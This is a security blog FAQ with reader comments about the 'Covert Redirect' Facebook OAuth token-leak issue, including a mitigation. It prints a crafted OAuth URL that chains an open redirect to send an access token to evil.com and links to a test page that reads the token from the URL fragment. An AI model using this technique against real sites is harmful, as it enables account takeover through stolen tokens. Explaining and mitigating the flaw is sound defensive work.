After seeing tons of tweets I decided to stop the panic and publish a short FAQ.
How does it work?
First of all it is a known Facebook Connect bug, other providers are not vulnerable (author claims they are?), because Connect allows you to replace response_type and redirect_uri with new values.
Let's change redirect_uri to some open redirector on the client's domain (we need to find it first, if there's no open redirect client is not vulnerable!) - CLIENT/redirect_me?url=http://evil.com
and response_type to "token". Crafted URL is:
facebook.com/oauth?redirect_uri=CLIENT%2Fredirect_me%3Furl%3Dhttp%3A%2F%2Fevil.com&response_type=token&client_id=1
Facebook redirects user to CLIENT/redirect_me?url=http://evil.com#access_token=123, CLIENT redirects user with 302 redirect to evil.com but browser preserves #fragment and loads http://evil.com/#access_token=123. (didn't know/expect it? welcome to web security! test it here):
Now location.hash can be sliced with Javascript, look at my malicious test page at http://homakov.github.io/fbleak.html
Is it a new bug?
Unfortunately, even being a real threat (quite poorly explained, but I'm not the one to judge) this is nothing new.
I wrote about it in Feb 2013 (hacking FB with oauth bugs "We used 2 bugs: dynamic redirect_uri and dynamic response_type parameter") then in my rants on OAuth2 future (+ FB>other-provider>client exploits) then mentioned how it can be used to steal signed_request (which is a 10 times worse vulnerability than this one), called it Achilles Heel of OAuth, and bunch of other authorization related posts.
Anyway, I'm glad the old problem gets huge attention again and even a logo (wait what?).
.jpg){kind=logo}
Is it going to be fixed?
Since it's nothing new, and Facebook refused to fix flexible redirect_uri long time ago, no, it is not going to be fixed. All you can do is to whitelist redirect_uri in the Advanced tab of your client settings:
Wait, how does the fragment get from the original redirect URI:
ReplyDeleteCLIENT/redirect_me?url=http://evil.com#access_token=123
to the other side of the open redirector? RFC-compliant clients shouldn't even *send* it to the open redirector!
They do
Deletesakurity.com/triple?to=http://ya.ru#asdf
Not sent, but available via JS. See http://blogs.msdn.com/b/ieinternals/archive/2011/05/17/url-fragments-and-redirects-anchor-hash-missing.aspx
DeleteThis comment has been removed by the author.
ReplyDeleteIn the demos of Covert redirect they showed stealing of authorization code.
ReplyDeleteI was wondering whether it is worth stealing because when I tried to replay an authorization code that was issued for a client in one session(I blocked the code being sent to the client in this session) with the same client in another session authentication was not successful. It was also not the case of the 'code' expiring soon because no matter how much time I delayed the sending of the code to the client it was still proceeding with the login.
Is there any other way to use the authorization code?
1. it expires very quickly
Delete2. you can only use it with valid redirect_uri so no sense to steal it